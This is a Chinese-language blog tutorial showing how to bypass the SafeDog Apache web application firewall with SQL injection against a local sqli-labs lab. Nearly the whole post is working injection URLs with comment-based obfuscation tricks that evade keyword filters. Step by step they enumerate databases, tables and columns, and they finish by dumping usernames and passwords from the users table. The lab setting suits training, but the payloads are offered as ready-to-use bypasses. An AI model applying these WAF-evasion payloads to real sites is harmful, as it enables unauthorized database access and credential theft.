前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入-安全狗apache最新版绕过

SQL注入-安全狗apache最新版绕过

作者头像
乌鸦安全
发布2021-08-05 16:04:29
1.8K0
发布2021-08-05 16:04:29
举报
文章被收录于专栏:乌鸦安全

01 背景知识

现在的环境下对web选手越来越不友好,如果想在web场景中去挖洞,基本上都要面对waf,而常用的waf产品有很多,本次以开源免费最新版安全狗为例,绕过waf获取数据。

tips:本文需要您提前掌握一定的基础知识!

02 环境配置

Windows 10主机

phpstudy2018

sqli-labs靶场

安全狗apache4.0.30255

当前版本是最新版安全狗(截止2021.05.17)

3. fuzz绕过字符

代码语言:javascript
复制
单独的from 不拦截 schema.schemata也不拦截, information_schema拦截,from information拦截,from/*//--/*/information不拦截
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查字段:select column_name from information_schema.columns where table_name='users'
查字段的值:select username,password from security.users

口算一个有效字符,非常重要!!!

%20/*//--/*/

接下来的操作都是在此基础上实现的

3.1 order by 语句

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  order by 1 --+

拦截

最新版本的特征和次新版本还不是太一样的:

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order /*//--/*/ by 10 --+

bypass成功

3.2 union select语句

查看显示报错的位置:(这是apache次新版绕过的方法)

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, 3 --+

那在这里了就尝试下新的句子:

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/     /*!--+/*%0aselect/*!1,2,3*/  --+

绕过成功

3.3 database()关键字

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, database() --+

拦截

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/     /*!--+/*%0aselect/*!1,2,*/database /*//--/*/ ()  --+

正常

3.4 获取其他的库

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema.schemata --+

拦截

这里经过多次fuzz,后来发现狗狗对information_schema.schemata 拦截比较厉害,所以这里可以采用这样的模式(这是次新版绕过的方法)

代码语言:javascript
复制
http://127.0.0.1sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema.  /*//--/*/ schemata --+

还是被拦截

那在这里还是无法绕过,因此这里需要引入在3.5版本里面的绕过from的一个方法

/*!06447%23%0afrom*/

因此在这里可以使用(这是次新版本绕过的方法)

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from information_schema.  /*//--/*/ schemata --+
代码语言:javascript
复制

但是在这,不行

代码语言:javascript
复制

那就换下:(其实这里就是对union select 进行了更新)

union select 1,2,3 转换为: union /*!--+/*%0aselect/*!1,2,*/3

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union   /*!--+/*%0aselect/*!1,2,*/  group_concat(schema_name)    /*!from*/    /*!--+/*%0ainformation_schema./*!schemata*/ --+

3.5 一次性获取所有的表

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/  group_concat(table_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='security' --+

3.6 一次性获取所有的字段

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/  group_concat(column_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
代码语言:javascript
复制

3.7 一次性获取字段里面的值

代码语言:javascript
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union /*!--+/*%0aselect/*!1,2,*/  group_concat(concat_ws(0x7e,username, password))     /*!from*/    security.users --+

4. 总结

口算yyds !!!

这里比较重要的点:

万能符号:

union select -->

union/*//--/*/select

union select 1,2,3 -->

union /*!--+/*%0aselect/*!1,2,*/ 3

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 3. fuzz绕过字符
    • 3.1 order by 语句
      • 3.2 union select语句
        • 3.3 database()关键字
          • 3.4 获取其他的库
            • 但是在这,不行
              • 3.5 一次性获取所有的表
                • 3.6 一次性获取所有的字段
                  • 3.7 一次性获取字段里面的值
                  • 4. 总结
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档